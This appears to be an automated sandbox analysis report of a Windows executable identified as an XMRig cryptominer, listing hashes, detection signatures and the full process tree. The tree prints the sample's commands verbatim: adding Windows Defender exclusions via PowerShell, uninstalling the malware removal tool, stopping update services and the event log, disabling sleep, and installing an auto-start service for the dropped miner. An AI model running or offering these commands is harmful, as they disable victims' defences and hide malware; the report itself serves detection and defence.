Analysis
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max time kernel
120s -
max time network
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platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
17-11-2024 04:52
Static task
static1
Behavioral task
behavioral1
Sample
2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe
Resource
win7-20241023-en
General
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Target
2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe
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Size
5.6MB
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MD5
d30962db6e517394e6ef271e44c6c489
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SHA1
5bcb250b09e345372c529981722b9e2a5826b4c8
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SHA256
2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f
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SHA512
248b794a875de94d9139a81f00231afc6b41fb592cb251c6a9b9aa6d4ada87c2de8ede25f3125f9997b5b620990f85ad558780b7b04aad8689545ddb65f8d03c
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hf:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgb
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/1884-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1884-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1884-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1884-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1884-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1884-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1884-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1884-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1884-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2968 powershell.exe 1752 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1888 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 3008 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2136 powercfg.exe 2672 powercfg.exe 2676 powercfg.exe 2732 powercfg.exe 2788 powercfg.exe 2164 powercfg.exe 2104 powercfg.exe 2356 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3008 set thread context of 2360 3008 fqwofdtexigy.exe 85 PID 3008 set thread context of 1884 3008 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/1884-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-41-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1884-40-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2940 sc.exe 2324 sc.exe 2728 sc.exe 968 sc.exe 2808 sc.exe 3028 sc.exe 2692 sc.exe 1844 sc.exe 1424 sc.exe 1324 sc.exe 2892 sc.exe 1744 sc.exe 3012 sc.exe 892 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 500ade96ac38db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 1752 powershell.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 2604 2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe 3008 fqwofdtexigy.exe 2968 powershell.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 3008 fqwofdtexigy.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe 1884 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1752 powershell.exe Token: SeShutdownPrivilege 2672 powercfg.exe Token: SeShutdownPrivilege 2788 powercfg.exe Token: SeShutdownPrivilege 2676 powercfg.exe Token: SeShutdownPrivilege 2732 powercfg.exe Token: SeDebugPrivilege 2968 powershell.exe Token: SeShutdownPrivilege 2164 powercfg.exe Token: SeShutdownPrivilege 2104 powercfg.exe Token: SeShutdownPrivilege 2136 powercfg.exe Token: SeShutdownPrivilege 2356 powercfg.exe Token: SeLockMemoryPrivilege 1884 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2876 wrote to memory of 2832 2876 cmd.exe 37 PID 2876 wrote to memory of 2832 2876 cmd.exe 37 PID 2876 wrote to memory of 2832 2876 cmd.exe 37 PID 1888 wrote to memory of 2044 1888 cmd.exe 64 PID 1888 wrote to memory of 2044 1888 cmd.exe 64 PID 1888 wrote to memory of 2044 1888 cmd.exe 64 PID 468 wrote to memory of 484 468 cmd.exe 72 PID 468 wrote to memory of 484 468 cmd.exe 72 PID 468 wrote to memory of 484 468 cmd.exe 72 PID 3008 wrote to memory of 2360 3008 fqwofdtexigy.exe 85 PID 3008 wrote to memory of 2360 3008 fqwofdtexigy.exe 85 PID 3008 wrote to memory of 2360 3008 fqwofdtexigy.exe 85 PID 3008 wrote to memory of 2360 3008 fqwofdtexigy.exe 85 PID 3008 wrote to memory of 2360 3008 fqwofdtexigy.exe 85 PID 3008 wrote to memory of 2360 3008 fqwofdtexigy.exe 85 PID 3008 wrote to memory of 2360 3008 fqwofdtexigy.exe 85 PID 3008 wrote to memory of 2360 3008 fqwofdtexigy.exe 85 PID 3008 wrote to memory of 2360 3008 fqwofdtexigy.exe 85 PID 3008 wrote to memory of 1884 3008 fqwofdtexigy.exe 90 PID 3008 wrote to memory of 1884 3008 fqwofdtexigy.exe 90 PID 3008 wrote to memory of 1884 3008 fqwofdtexigy.exe 90 PID 3008 wrote to memory of 1884 3008 fqwofdtexigy.exe 90 PID 3008 wrote to memory of 1884 3008 fqwofdtexigy.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe"C:\Users\Admin\AppData\Local\Temp\2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2604 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2832
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2892
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2940
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2808
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:3028
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2324
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2788
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2732
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2676
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2672
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2692
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2728
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1844
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:968
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\2c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2044
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2968
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:468 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:484
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1744
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:3012
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:892
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1424
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1324
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2164
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2104
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2356
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2136
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2360
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1884
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5d30962db6e517394e6ef271e44c6c489
SHA15bcb250b09e345372c529981722b9e2a5826b4c8
SHA2562c016eb6e1362b3e897dbafd5edfd541917780d00644144077acefcce24aa49f
SHA512248b794a875de94d9139a81f00231afc6b41fb592cb251c6a9b9aa6d4ada87c2de8ede25f3125f9997b5b620990f85ad558780b7b04aad8689545ddb65f8d03c